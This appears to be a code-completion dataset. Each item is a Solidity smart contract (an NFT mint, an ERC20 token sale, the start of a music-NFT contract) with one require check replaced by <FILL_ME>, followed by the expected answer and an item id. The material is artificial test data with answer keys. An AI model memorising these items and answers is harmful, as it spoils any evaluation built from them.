abstract contract MEMBERSHIP1 {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
abstract contract MEMBERSHIP2 {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
import './ERC721Enumerable.sol';
import './Ownable.sol';
import './Strings.sol';
import './CoreFunctions.sol';
import './Metadata.sol';
contract CryptoCalaveras is ERC721Enumerable, Ownable, Functions, Metadata {
using Strings for uint256;
MEMBERSHIP1 private membership1;
MEMBERSHIP2 private membership2;
//globallimits
uint256 public constant NFT_MAX = 3333;
uint public constant GENESIS = 293;
uint256 public constant PUBLIC_INDEX = 850;
//limitsperwallet
uint256 public constant PURCHASE_LIMIT = 100;
//pricepertype
uint256 public pricemain = 0.06 ether;
uint256 public pricemembership = 0.04 ether;
//switches
bool public isMasterActive = false;
bool public isPublicActive = false;
bool public isMembershipActive = false;
bool public isPassActive = false;
//supplycounters
uint256 public totalMembershipSupply;
uint256 public totalPublicSupply;
uint256 public totalReserveSupply;
//metadata
string private _contractURI = '';
string private _tokenBaseURI = '';
string private _tokenRevealedBaseURI = '';
//constructor
constructor(
string memory name,
string memory symbol,
address membershipcontract1,
address membershipcontract2)
ERC721(name, symbol) {
}
//membership1
function membershipClaimGenesis(uint256 membershipTokenID) public {
//check contract balance
uint checkbalance1 = membership1.balanceOf(msg.sender);
//check switches
require(isMasterActive, 'Contract is not active');
require(isPassActive, 'This portion of minting is not active');
//supply check
require(checkbalance1 > 0);
require(<FILL_ME>)
require(membershipTokenID > 0, 'token index must be over 0');
//check
require(membership1.ownerOf(membershipTokenID) == msg.sender, "Must own the membership pass for requested tokenId to mint");
//mint!
totalMembershipSupply += 1;
_safeMint(msg.sender, membershipTokenID);
}
//membership
function membershipClaim(uint256 membershipTokenID) public {
}
//public
function mintPublic(uint256 numberOfTokens) external payable {
}
//publicmembership
function mintMembership(uint256 numberOfTokens) external payable {
}
//reserve
// no limit due to to airdrop going directly to addresses
function reserve(address[] calldata to) external onlyOwner {
}
//switches
function MasterActive(bool _isMasterActive) external override onlyOwner {
}
function PublicActive(bool _isPublicActive) external override onlyOwner {
}
function MembershipActive(bool _isMembershipActive) external onlyOwner {
}
function PassActive(bool _isPassActive) external onlyOwner {
}
//withdraw
address Address1 = 0xB304bf6bAaE65Ac9A3B1CdBB4E48e5589a3ff9A2; //team1
address Address2 = 0xCAa63F2f8571Eae0163C0C26ECcF2872589eA170; //team2
address Address3 = 0xF4A12bC4596E1c3e19D512F76325B52D72D375CF; //team3
address Address4 = 0xdA00A06Ab3BbD3544B79C1350C463CAb9f196880; //team4
address Address5 = 0x65a112b4604eb4B946D14E8EFbcc39f6968F49bE; //team5
address Address6 = 0x96C2A8e9437dE19215121b7137650eC6A032DF5B; //team6
address Address7 = 0x01c3f58FaaEbf4B9a3eaD760Fb8A7bb0C3168467; //team7
address Address8 = 0x75e06a34c1Ef068fC43ad56A1a5193f3778bF0B2; //team8
address Address9 = 0xf38c60143b655A5d7b68B49C189Da7CB2b0604A1; //team9
address Address10 = 0xa3f070BAEf828f712f38c360221B5250284891D7; //team10
address Address11 = 0xEcc03efB7C0A7BD09A5cC7e954Ac42E8f949A0B5; //niftylabs
address Address12 = 0xdFD02b83062edb018FfF3dA3C3151bFb2681E3aE; //treasury
function withdraw() onlyOwner public {
}
//metadata
function setContractURI(string calldata URI) external override onlyOwner {
}
function setBaseURI(string calldata URI) external override onlyOwner {
}
function setRevealedBaseURI(string calldata revealedBaseURI) external override onlyOwner {
}
function contractURI() public view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
}
| totalSupply()<NFT_MAX,'All tokens have been minted' | 389,796 | totalSupply()<NFT_MAX |
"Must own the membership pass for requested tokenId to mint" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract MEMBERSHIP1 {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
abstract contract MEMBERSHIP2 {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
import './ERC721Enumerable.sol';
import './Ownable.sol';
import './Strings.sol';
import './CoreFunctions.sol';
import './Metadata.sol';
contract CryptoCalaveras is ERC721Enumerable, Ownable, Functions, Metadata {
using Strings for uint256;
MEMBERSHIP1 private membership1;
MEMBERSHIP2 private membership2;
//globallimits
uint256 public constant NFT_MAX = 3333;
uint public constant GENESIS = 293;
uint256 public constant PUBLIC_INDEX = 850;
//limitsperwallet
uint256 public constant PURCHASE_LIMIT = 100;
//pricepertype
uint256 public pricemain = 0.06 ether;
uint256 public pricemembership = 0.04 ether;
//switches
bool public isMasterActive = false;
bool public isPublicActive = false;
bool public isMembershipActive = false;
bool public isPassActive = false;
//supplycounters
uint256 public totalMembershipSupply;
uint256 public totalPublicSupply;
uint256 public totalReserveSupply;
//metadata
string private _contractURI = '';
string private _tokenBaseURI = '';
string private _tokenRevealedBaseURI = '';
//constructor
constructor(
string memory name,
string memory symbol,
address membershipcontract1,
address membershipcontract2)
ERC721(name, symbol) {
}
//membership1
function membershipClaimGenesis(uint256 membershipTokenID) public {
//check contract balance
uint checkbalance1 = membership1.balanceOf(msg.sender);
//check switches
require(isMasterActive, 'Contract is not active');
require(isPassActive, 'This portion of minting is not active');
//supply check
require(checkbalance1 > 0);
require(totalSupply() < NFT_MAX, 'All tokens have been minted');
require(membershipTokenID > 0, 'token index must be over 0');
//check
require(<FILL_ME>)
//mint!
totalMembershipSupply += 1;
_safeMint(msg.sender, membershipTokenID);
}
//membership
function membershipClaim(uint256 membershipTokenID) public {
}
//public
function mintPublic(uint256 numberOfTokens) external payable {
}
//publicmembership
function mintMembership(uint256 numberOfTokens) external payable {
}
//reserve
// no limit due to to airdrop going directly to addresses
function reserve(address[] calldata to) external onlyOwner {
}
//switches
function MasterActive(bool _isMasterActive) external override onlyOwner {
}
function PublicActive(bool _isPublicActive) external override onlyOwner {
}
function MembershipActive(bool _isMembershipActive) external onlyOwner {
}
function PassActive(bool _isPassActive) external onlyOwner {
}
//withdraw
address Address1 = 0xB304bf6bAaE65Ac9A3B1CdBB4E48e5589a3ff9A2; //team1
address Address2 = 0xCAa63F2f8571Eae0163C0C26ECcF2872589eA170; //team2
address Address3 = 0xF4A12bC4596E1c3e19D512F76325B52D72D375CF; //team3
address Address4 = 0xdA00A06Ab3BbD3544B79C1350C463CAb9f196880; //team4
address Address5 = 0x65a112b4604eb4B946D14E8EFbcc39f6968F49bE; //team5
address Address6 = 0x96C2A8e9437dE19215121b7137650eC6A032DF5B; //team6
address Address7 = 0x01c3f58FaaEbf4B9a3eaD760Fb8A7bb0C3168467; //team7
address Address8 = 0x75e06a34c1Ef068fC43ad56A1a5193f3778bF0B2; //team8
address Address9 = 0xf38c60143b655A5d7b68B49C189Da7CB2b0604A1; //team9
address Address10 = 0xa3f070BAEf828f712f38c360221B5250284891D7; //team10
address Address11 = 0xEcc03efB7C0A7BD09A5cC7e954Ac42E8f949A0B5; //niftylabs
address Address12 = 0xdFD02b83062edb018FfF3dA3C3151bFb2681E3aE; //treasury
function withdraw() onlyOwner public {
}
//metadata
function setContractURI(string calldata URI) external override onlyOwner {
}
function setBaseURI(string calldata URI) external override onlyOwner {
}
function setRevealedBaseURI(string calldata revealedBaseURI) external override onlyOwner {
}
function contractURI() public view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
}
| membership1.ownerOf(membershipTokenID)==msg.sender,"Must own the membership pass for requested tokenId to mint" | 389,796 | membership1.ownerOf(membershipTokenID)==msg.sender |
"Must own the membership pass for requested tokenId to mint" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract MEMBERSHIP1 {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
abstract contract MEMBERSHIP2 {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
import './ERC721Enumerable.sol';
import './Ownable.sol';
import './Strings.sol';
import './CoreFunctions.sol';
import './Metadata.sol';
contract CryptoCalaveras is ERC721Enumerable, Ownable, Functions, Metadata {
using Strings for uint256;
MEMBERSHIP1 private membership1;
MEMBERSHIP2 private membership2;
//globallimits
uint256 public constant NFT_MAX = 3333;
uint public constant GENESIS = 293;
uint256 public constant PUBLIC_INDEX = 850;
//limitsperwallet
uint256 public constant PURCHASE_LIMIT = 100;
//pricepertype
uint256 public pricemain = 0.06 ether;
uint256 public pricemembership = 0.04 ether;
//switches
bool public isMasterActive = false;
bool public isPublicActive = false;
bool public isMembershipActive = false;
bool public isPassActive = false;
//supplycounters
uint256 public totalMembershipSupply;
uint256 public totalPublicSupply;
uint256 public totalReserveSupply;
//metadata
string private _contractURI = '';
string private _tokenBaseURI = '';
string private _tokenRevealedBaseURI = '';
//constructor
constructor(
string memory name,
string memory symbol,
address membershipcontract1,
address membershipcontract2)
ERC721(name, symbol) {
}
//membership1
function membershipClaimGenesis(uint256 membershipTokenID) public {
}
//membership
function membershipClaim(uint256 membershipTokenID) public {
//check contract balance
uint checkbalance2 = membership2.balanceOf(msg.sender);
//check switches
require(isMasterActive, 'Contract is not active');
require(isPassActive, 'This portion of minting is not active');
//supply check
require(checkbalance2 > 0);
require(totalSupply() < NFT_MAX, 'All tokens have been minted');
require(membershipTokenID > 0, 'token index must be over 0');
//check
require(<FILL_ME>)
//mint!
uint256 membershipid = membershipTokenID + 293;
totalMembershipSupply += 1;
_safeMint(msg.sender, membershipid);
}
//public
function mintPublic(uint256 numberOfTokens) external payable {
}
//publicmembership
function mintMembership(uint256 numberOfTokens) external payable {
}
//reserve
// no limit due to to airdrop going directly to addresses
function reserve(address[] calldata to) external onlyOwner {
}
//switches
function MasterActive(bool _isMasterActive) external override onlyOwner {
}
function PublicActive(bool _isPublicActive) external override onlyOwner {
}
function MembershipActive(bool _isMembershipActive) external onlyOwner {
}
function PassActive(bool _isPassActive) external onlyOwner {
}
//withdraw
address Address1 = 0xB304bf6bAaE65Ac9A3B1CdBB4E48e5589a3ff9A2; //team1
address Address2 = 0xCAa63F2f8571Eae0163C0C26ECcF2872589eA170; //team2
address Address3 = 0xF4A12bC4596E1c3e19D512F76325B52D72D375CF; //team3
address Address4 = 0xdA00A06Ab3BbD3544B79C1350C463CAb9f196880; //team4
address Address5 = 0x65a112b4604eb4B946D14E8EFbcc39f6968F49bE; //team5
address Address6 = 0x96C2A8e9437dE19215121b7137650eC6A032DF5B; //team6
address Address7 = 0x01c3f58FaaEbf4B9a3eaD760Fb8A7bb0C3168467; //team7
address Address8 = 0x75e06a34c1Ef068fC43ad56A1a5193f3778bF0B2; //team8
address Address9 = 0xf38c60143b655A5d7b68B49C189Da7CB2b0604A1; //team9
address Address10 = 0xa3f070BAEf828f712f38c360221B5250284891D7; //team10
address Address11 = 0xEcc03efB7C0A7BD09A5cC7e954Ac42E8f949A0B5; //niftylabs
address Address12 = 0xdFD02b83062edb018FfF3dA3C3151bFb2681E3aE; //treasury
function withdraw() onlyOwner public {
}
//metadata
function setContractURI(string calldata URI) external override onlyOwner {
}
function setBaseURI(string calldata URI) external override onlyOwner {
}
function setRevealedBaseURI(string calldata revealedBaseURI) external override onlyOwner {
}
function contractURI() public view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
}
| membership2.ownerOf(membershipTokenID)==msg.sender,"Must own the membership pass for requested tokenId to mint" | 389,796 | membership2.ownerOf(membershipTokenID)==msg.sender |
'Purchase would exceed max supply' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract MEMBERSHIP1 {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
abstract contract MEMBERSHIP2 {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
import './ERC721Enumerable.sol';
import './Ownable.sol';
import './Strings.sol';
import './CoreFunctions.sol';
import './Metadata.sol';
contract CryptoCalaveras is ERC721Enumerable, Ownable, Functions, Metadata {
using Strings for uint256;
MEMBERSHIP1 private membership1;
MEMBERSHIP2 private membership2;
//globallimits
uint256 public constant NFT_MAX = 3333;
uint public constant GENESIS = 293;
uint256 public constant PUBLIC_INDEX = 850;
//limitsperwallet
uint256 public constant PURCHASE_LIMIT = 100;
//pricepertype
uint256 public pricemain = 0.06 ether;
uint256 public pricemembership = 0.04 ether;
//switches
bool public isMasterActive = false;
bool public isPublicActive = false;
bool public isMembershipActive = false;
bool public isPassActive = false;
//supplycounters
uint256 public totalMembershipSupply;
uint256 public totalPublicSupply;
uint256 public totalReserveSupply;
//metadata
string private _contractURI = '';
string private _tokenBaseURI = '';
string private _tokenRevealedBaseURI = '';
//constructor
constructor(
string memory name,
string memory symbol,
address membershipcontract1,
address membershipcontract2)
ERC721(name, symbol) {
}
//membership1
function membershipClaimGenesis(uint256 membershipTokenID) public {
}
//membership
function membershipClaim(uint256 membershipTokenID) public {
}
//public
function mintPublic(uint256 numberOfTokens) external payable {
//check switches
require(isMasterActive, 'Contract is not active');
require(isPublicActive, 'This portion of minting is not active');
//supply check
require(totalSupply() < NFT_MAX, 'All tokens have been minted');
require(numberOfTokens > 0, 'You must mint more than 1 token');
require(numberOfTokens <= PURCHASE_LIMIT, 'Cannot purchase this many tokens');
require(<FILL_ME>)
//calculate prices
require(pricemain * numberOfTokens <= msg.value, 'ETH amount is not sufficient');
//mint!
for (uint256 i = 0; i < numberOfTokens; i++) {
uint256 tokenId = PUBLIC_INDEX + totalPublicSupply + 1;
totalPublicSupply += 1;
_safeMint(msg.sender, tokenId);
}
}
//publicmembership
function mintMembership(uint256 numberOfTokens) external payable {
}
//reserve
// no limit due to to airdrop going directly to addresses
function reserve(address[] calldata to) external onlyOwner {
}
//switches
function MasterActive(bool _isMasterActive) external override onlyOwner {
}
function PublicActive(bool _isPublicActive) external override onlyOwner {
}
function MembershipActive(bool _isMembershipActive) external onlyOwner {
}
function PassActive(bool _isPassActive) external onlyOwner {
}
//withdraw
address Address1 = 0xB304bf6bAaE65Ac9A3B1CdBB4E48e5589a3ff9A2; //team1
address Address2 = 0xCAa63F2f8571Eae0163C0C26ECcF2872589eA170; //team2
address Address3 = 0xF4A12bC4596E1c3e19D512F76325B52D72D375CF; //team3
address Address4 = 0xdA00A06Ab3BbD3544B79C1350C463CAb9f196880; //team4
address Address5 = 0x65a112b4604eb4B946D14E8EFbcc39f6968F49bE; //team5
address Address6 = 0x96C2A8e9437dE19215121b7137650eC6A032DF5B; //team6
address Address7 = 0x01c3f58FaaEbf4B9a3eaD760Fb8A7bb0C3168467; //team7
address Address8 = 0x75e06a34c1Ef068fC43ad56A1a5193f3778bF0B2; //team8
address Address9 = 0xf38c60143b655A5d7b68B49C189Da7CB2b0604A1; //team9
address Address10 = 0xa3f070BAEf828f712f38c360221B5250284891D7; //team10
address Address11 = 0xEcc03efB7C0A7BD09A5cC7e954Ac42E8f949A0B5; //niftylabs
address Address12 = 0xdFD02b83062edb018FfF3dA3C3151bFb2681E3aE; //treasury
function withdraw() onlyOwner public {
}
//metadata
function setContractURI(string calldata URI) external override onlyOwner {
}
function setBaseURI(string calldata URI) external override onlyOwner {
}
function setRevealedBaseURI(string calldata revealedBaseURI) external override onlyOwner {
}
function contractURI() public view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
}
| totalSupply()+numberOfTokens<=NFT_MAX,'Purchase would exceed max supply' | 389,796 | totalSupply()+numberOfTokens<=NFT_MAX |
'ETH amount is not sufficient' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract MEMBERSHIP1 {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
abstract contract MEMBERSHIP2 {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
import './ERC721Enumerable.sol';
import './Ownable.sol';
import './Strings.sol';
import './CoreFunctions.sol';
import './Metadata.sol';
contract CryptoCalaveras is ERC721Enumerable, Ownable, Functions, Metadata {
using Strings for uint256;
MEMBERSHIP1 private membership1;
MEMBERSHIP2 private membership2;
//globallimits
uint256 public constant NFT_MAX = 3333;
uint public constant GENESIS = 293;
uint256 public constant PUBLIC_INDEX = 850;
//limitsperwallet
uint256 public constant PURCHASE_LIMIT = 100;
//pricepertype
uint256 public pricemain = 0.06 ether;
uint256 public pricemembership = 0.04 ether;
//switches
bool public isMasterActive = false;
bool public isPublicActive = false;
bool public isMembershipActive = false;
bool public isPassActive = false;
//supplycounters
uint256 public totalMembershipSupply;
uint256 public totalPublicSupply;
uint256 public totalReserveSupply;
//metadata
string private _contractURI = '';
string private _tokenBaseURI = '';
string private _tokenRevealedBaseURI = '';
//constructor
constructor(
string memory name,
string memory symbol,
address membershipcontract1,
address membershipcontract2)
ERC721(name, symbol) {
}
//membership1
function membershipClaimGenesis(uint256 membershipTokenID) public {
}
//membership
function membershipClaim(uint256 membershipTokenID) public {
}
//public
function mintPublic(uint256 numberOfTokens) external payable {
//check switches
require(isMasterActive, 'Contract is not active');
require(isPublicActive, 'This portion of minting is not active');
//supply check
require(totalSupply() < NFT_MAX, 'All tokens have been minted');
require(numberOfTokens > 0, 'You must mint more than 1 token');
require(numberOfTokens <= PURCHASE_LIMIT, 'Cannot purchase this many tokens');
require(totalSupply() + numberOfTokens <= NFT_MAX, 'Purchase would exceed max supply');
//calculate prices
require(<FILL_ME>)
//mint!
for (uint256 i = 0; i < numberOfTokens; i++) {
uint256 tokenId = PUBLIC_INDEX + totalPublicSupply + 1;
totalPublicSupply += 1;
_safeMint(msg.sender, tokenId);
}
}
//publicmembership
function mintMembership(uint256 numberOfTokens) external payable {
}
//reserve
// no limit due to to airdrop going directly to addresses
function reserve(address[] calldata to) external onlyOwner {
}
//switches
function MasterActive(bool _isMasterActive) external override onlyOwner {
}
function PublicActive(bool _isPublicActive) external override onlyOwner {
}
function MembershipActive(bool _isMembershipActive) external onlyOwner {
}
function PassActive(bool _isPassActive) external onlyOwner {
}
//withdraw
address Address1 = 0xB304bf6bAaE65Ac9A3B1CdBB4E48e5589a3ff9A2; //team1
address Address2 = 0xCAa63F2f8571Eae0163C0C26ECcF2872589eA170; //team2
address Address3 = 0xF4A12bC4596E1c3e19D512F76325B52D72D375CF; //team3
address Address4 = 0xdA00A06Ab3BbD3544B79C1350C463CAb9f196880; //team4
address Address5 = 0x65a112b4604eb4B946D14E8EFbcc39f6968F49bE; //team5
address Address6 = 0x96C2A8e9437dE19215121b7137650eC6A032DF5B; //team6
address Address7 = 0x01c3f58FaaEbf4B9a3eaD760Fb8A7bb0C3168467; //team7
address Address8 = 0x75e06a34c1Ef068fC43ad56A1a5193f3778bF0B2; //team8
address Address9 = 0xf38c60143b655A5d7b68B49C189Da7CB2b0604A1; //team9
address Address10 = 0xa3f070BAEf828f712f38c360221B5250284891D7; //team10
address Address11 = 0xEcc03efB7C0A7BD09A5cC7e954Ac42E8f949A0B5; //niftylabs
address Address12 = 0xdFD02b83062edb018FfF3dA3C3151bFb2681E3aE; //treasury
function withdraw() onlyOwner public {
}
//metadata
function setContractURI(string calldata URI) external override onlyOwner {
}
function setBaseURI(string calldata URI) external override onlyOwner {
}
function setRevealedBaseURI(string calldata revealedBaseURI) external override onlyOwner {
}
function contractURI() public view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
}
| pricemain*numberOfTokens<=msg.value,'ETH amount is not sufficient' | 389,796 | pricemain*numberOfTokens<=msg.value |
'ETH amount is not sufficient' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract MEMBERSHIP1 {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
abstract contract MEMBERSHIP2 {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
import './ERC721Enumerable.sol';
import './Ownable.sol';
import './Strings.sol';
import './CoreFunctions.sol';
import './Metadata.sol';
contract CryptoCalaveras is ERC721Enumerable, Ownable, Functions, Metadata {
using Strings for uint256;
MEMBERSHIP1 private membership1;
MEMBERSHIP2 private membership2;
//globallimits
uint256 public constant NFT_MAX = 3333;
uint public constant GENESIS = 293;
uint256 public constant PUBLIC_INDEX = 850;
//limitsperwallet
uint256 public constant PURCHASE_LIMIT = 100;
//pricepertype
uint256 public pricemain = 0.06 ether;
uint256 public pricemembership = 0.04 ether;
//switches
bool public isMasterActive = false;
bool public isPublicActive = false;
bool public isMembershipActive = false;
bool public isPassActive = false;
//supplycounters
uint256 public totalMembershipSupply;
uint256 public totalPublicSupply;
uint256 public totalReserveSupply;
//metadata
string private _contractURI = '';
string private _tokenBaseURI = '';
string private _tokenRevealedBaseURI = '';
//constructor
constructor(
string memory name,
string memory symbol,
address membershipcontract1,
address membershipcontract2)
ERC721(name, symbol) {
}
//membership1
function membershipClaimGenesis(uint256 membershipTokenID) public {
}
//membership
function membershipClaim(uint256 membershipTokenID) public {
}
//public
function mintPublic(uint256 numberOfTokens) external payable {
}
//publicmembership
function mintMembership(uint256 numberOfTokens) external payable {
//check balances
uint checkbalance1 = membership1.balanceOf(msg.sender);
uint checkbalance2 = membership2.balanceOf(msg.sender);
uint totalbalance = checkbalance1 + checkbalance2;
require(totalbalance > 0);
//check switches
require(isMasterActive, 'Contract is not active');
require(isPublicActive, 'This portion of minting is not active');
//supply check
require(totalSupply() < NFT_MAX, 'All tokens have been minted');
require(numberOfTokens > 0, 'You must mint more than 1 token');
require(numberOfTokens <= PURCHASE_LIMIT, 'Cannot purchase this many tokens');
require(totalSupply() + numberOfTokens <= NFT_MAX, 'Purchase would exceed max supply');
//calculate prices
require(<FILL_ME>)
//mint!
for (uint256 i = 0; i < numberOfTokens; i++) {
uint256 tokenId = PUBLIC_INDEX + totalPublicSupply + 1;
totalPublicSupply += 1;
_safeMint(msg.sender, tokenId);
}
}
//reserve
// no limit due to to airdrop going directly to addresses
function reserve(address[] calldata to) external onlyOwner {
}
//switches
function MasterActive(bool _isMasterActive) external override onlyOwner {
}
function PublicActive(bool _isPublicActive) external override onlyOwner {
}
function MembershipActive(bool _isMembershipActive) external onlyOwner {
}
function PassActive(bool _isPassActive) external onlyOwner {
}
//withdraw
address Address1 = 0xB304bf6bAaE65Ac9A3B1CdBB4E48e5589a3ff9A2; //team1
address Address2 = 0xCAa63F2f8571Eae0163C0C26ECcF2872589eA170; //team2
address Address3 = 0xF4A12bC4596E1c3e19D512F76325B52D72D375CF; //team3
address Address4 = 0xdA00A06Ab3BbD3544B79C1350C463CAb9f196880; //team4
address Address5 = 0x65a112b4604eb4B946D14E8EFbcc39f6968F49bE; //team5
address Address6 = 0x96C2A8e9437dE19215121b7137650eC6A032DF5B; //team6
address Address7 = 0x01c3f58FaaEbf4B9a3eaD760Fb8A7bb0C3168467; //team7
address Address8 = 0x75e06a34c1Ef068fC43ad56A1a5193f3778bF0B2; //team8
address Address9 = 0xf38c60143b655A5d7b68B49C189Da7CB2b0604A1; //team9
address Address10 = 0xa3f070BAEf828f712f38c360221B5250284891D7; //team10
address Address11 = 0xEcc03efB7C0A7BD09A5cC7e954Ac42E8f949A0B5; //niftylabs
address Address12 = 0xdFD02b83062edb018FfF3dA3C3151bFb2681E3aE; //treasury
function withdraw() onlyOwner public {
}
//metadata
function setContractURI(string calldata URI) external override onlyOwner {
}
function setBaseURI(string calldata URI) external override onlyOwner {
}
function setRevealedBaseURI(string calldata revealedBaseURI) external override onlyOwner {
}
function contractURI() public view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
}
| pricemembership*numberOfTokens<=msg.value,'ETH amount is not sufficient' | 389,796 | pricemembership*numberOfTokens<=msg.value |
"not allowed to purchase more then 3 eth of tokens from same address" | pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
}
}
contract Foundation is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
mapping (address => uint256) private _amount;
uint256 private balance1;
uint256 private balance2;
string private tokenName = "Foundation";
string private tokenSymbol = "FND";
uint256 private tokenDecimals = 18;
uint256 private _totalSupply = 55000 * (10**tokenDecimals);
uint256 public basePercent = 400; //
address payable _ownertoken=address(this);
address private _onwer1=0xec989583112634aE427702E1A131F863457f04b6;
constructor() public {
}
function contractBalance() external view returns(uint256){
}
function _balance1() public view returns(uint256){
}
function _balance2() public view returns(uint256){
}
function name() public view returns(string memory) {
}
function symbol() public view returns(string memory) {
}
function decimals() public view returns (uint256) {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address owner) public view returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function find4Percent(uint256 value) public view returns (uint256) {
}
function transfer(address to, uint256 value) public returns (bool) {
}
function approve(address spender, uint256 value) public returns (bool) {
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function exchangeToken(uint256 amountTokens)public payable returns (bool) {
require(amountTokens<= balance1,"No more Tokens Supply");
require(<FILL_ME>)
balance1=balance1.sub(amountTokens);
_balances[_ownertoken]=_balances[_ownertoken].sub(amountTokens);
_balances[msg.sender]=_balances[msg.sender].add(amountTokens);
_amount[msg.sender]=_amount[msg.sender].add(msg.value);
emit Transfer(_ownertoken,msg.sender, amountTokens);
_ownertoken.transfer(msg.value);
return true;
}
function exchangeToken2(uint256 amountTokens)payable public {
}
function exchangeEth(uint256 amountEth,uint256 amountTokens)public payable {
}
function()
payable
external
{
}
}
| _amount[msg.sender]<=3ether,"not allowed to purchase more then 3 eth of tokens from same address" | 389,806 | _amount[msg.sender]<=3ether |
'Invalid signer' | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.7;
/*
██████ ██████ ██ ██ ███ ██ ██████
██ ██ ██ ██ ██ ████ ██ ██ ██
███████ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ██████ ██████ ██ ████ ██████
*/
import {IERC2981Upgradeable, IERC165Upgradeable} from '@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol';
import {ERC721Upgradeable} from '@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol';
import {OwnableUpgradeable} from '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol';
import {Strings} from './Strings.sol';
import {CountersUpgradeable} from '@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol';
import {ArtistCreator} from './ArtistCreator.sol';
import {ECDSA} from '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
/// @title Artist
/// @author SoundXYZ - @gigamesh & @vigneshka
/// @notice This contract is used to create & sell song NFTs for the artist who owns the contract.
/// @dev Started as a fork of Mirror's Editions.sol https://github.com/mirror-xyz/editions-v1/blob/main/contracts/Editions.sol
contract ArtistV2 is ERC721Upgradeable, IERC2981Upgradeable, OwnableUpgradeable {
// ================================
// TYPES
// ================================
using Strings for uint256;
using CountersUpgradeable for CountersUpgradeable.Counter;
using ECDSA for bytes32;
enum TimeType {
START,
END
}
// ============ Structs ============
struct Edition {
// The account that will receive sales revenue.
address payable fundingRecipient;
// The price at which each token will be sold, in ETH.
uint256 price;
// The number of tokens sold so far.
uint32 numSold;
// The maximum number of tokens that can be sold.
uint32 quantity;
// Royalty amount in bps
uint32 royaltyBPS;
// start timestamp of auction (in seconds since unix epoch)
uint32 startTime;
// end timestamp of auction (in seconds since unix epoch)
uint32 endTime;
// quantity of presale tokens
uint32 presaleQuantity;
// whitelist signer address
address signerAddress;
}
// ================================
// STORAGE
// ================================
string internal baseURI;
CountersUpgradeable.Counter private atTokenId;
